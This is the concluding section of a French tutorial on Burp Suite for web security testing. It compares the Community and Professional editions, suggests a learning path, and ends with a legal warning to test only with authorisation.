Communauté: - PortSwigger Support Center - Twitter: @BurpSuite - Reddit: r/netsec
Conclusion¶
Burp Suite est l’outil le plus complet pour tester la sécurité des applications web. La maîtrise de Burp nécessite:
- Compréhension des vulnérabilités web - Savoir quoi chercher
- Pratique régulière - Utiliser sur des labs légaux
- Connaissance HTTP - Comprendre le protocole
- Méthodologie - Approche systématique
- Créativité - Penser comme un attaquant
Édition Community vs Professional:
Community (gratuite): - Proxy, Repeater, Decoder, Comparer suffisants - Intruder limité (1 thread) - Pas de Scanner automatique - Parfait pour apprendre
Professional (payante): - Scanner automatique - Intruder illimité - Collaboration features - Essential pour professionnels
Progression Recommandée:
- Maîtriser Proxy et Repeater
- Apprendre Intruder
- Comprendre les extensions
- Pratiquer sur labs
- Tester sur bug bounties (avec autorisation)
- Considérer version Pro
AVERTISSEMENT LÉGAL: - Tester uniquement avec autorisation écrite - Bug bounties: respecter les scopes - Labs publics: DVWA, PortSwigger Academy - Toute attaque non autorisée est ILLÉGALE
Bon testing et recherche responsable !